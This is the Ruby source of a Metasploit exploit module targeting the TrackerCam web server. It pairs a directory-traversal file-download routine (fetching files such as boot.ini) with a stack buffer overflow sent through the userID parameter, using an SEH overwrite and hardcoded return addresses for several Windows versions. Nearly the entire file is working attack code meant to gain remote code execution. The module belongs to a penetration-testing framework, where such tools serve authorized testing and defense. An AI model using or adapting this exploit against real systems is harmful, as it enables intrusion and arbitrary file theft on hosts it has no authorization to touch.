151 lines
4.0 KiB
Ruby
151 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'TrackerCam PHP Argument Buffer Overflow',
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'Description' => %q{
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This module exploits a simple stack buffer overflow in the
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TrackerCam web server. All current versions of this software
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are vulnerable to a large number of security issues. This
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module abuses the directory traversal flaw to gain
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information about the system and then uses the PHP overflow
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to execute arbitrary code.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2005-0478'],
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[ 'OSVDB', '13953'],
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[ 'OSVDB', '13955'],
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[ 'BID', '12592'],
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[ 'URL', 'http://aluigi.altervista.org/adv/tcambof-adv.txt'],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 2048,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# EyeWD.exe has a null and we can not use a partial overwrite.
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# All of the loaded application DLLs have a null in the address,
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# except CPS.dll, which moves around between instances :-(
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['Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll
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['Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll
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['Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll
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# Windows XP SP2 and Windows 2003 are not supported yet :-/
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],
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'DisclosureDate' => 'Feb 18 2005',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8090)
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], self.class)
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end
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def check
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res = send_request_raw({
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'uri' => '/tuner/ComGetLogFile.php3',
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'query' => 'fn=../HTTPRoot/socket.php3'
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}, 5)
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if (res and res.body =~ /fsockopen/)
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fp = fingerprint()
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vprint_status("Detected a vulnerable TrackerCam installation on #{fp}")
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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c = connect
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buf = rand_text_english(8192)
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seh = generate_seh_payload(target.ret)
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buf[257, seh.length] = seh
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print_status("Sending request...")
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res = send_request_raw({
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'uri' => '/tuner/TunerGuide.php3',
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'query' => 'userID=' + buf
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}, 5)
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handler
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end
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def download(path)
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res = send_request_raw({
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'uri' => '/tuner/ComGetLogFile.php3',
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'query' => 'fn=' + ("../" * 10) + path
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}, 5)
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return if !(res and res.body and res.body =~ /tuner\.css/ and res.body =~ /<pre>/)
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m = res.match(/<pre>(.*)<\/pre><\/body>/smi)
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return if not m
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return m[1]
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end
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def fingerprint
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res = download(rand_text_alphanumeric(12) + '.txt')
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return if not res
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m = res.match(/in <b>(.*)<\/b> on line/smi)
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return if not m
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path = m[1]
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print_status("TrackerCam installation path is #{path}")
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if (path !~ /^C/i)
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print_status("TrackerCam is not installed on the system drive, we can't fingerprint it")
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return
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end
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if (path !~ /Program Files/i)
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print_status("TrackerCam is installed in a non-standard location")
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end
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boot = download('boot.ini')
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return if not boot
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case boot
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when /Windows XP.*NoExecute/i
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return "Windows XP SP2+"
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when /Windows XP/
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return "Windows XP SP0-SP1"
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when /Windows.*2003/
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return "Windows 2003"
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when /Windows.*2000/
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return "Windows 2000"
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else
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return "Unknown OS/SP"
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end
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end
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end
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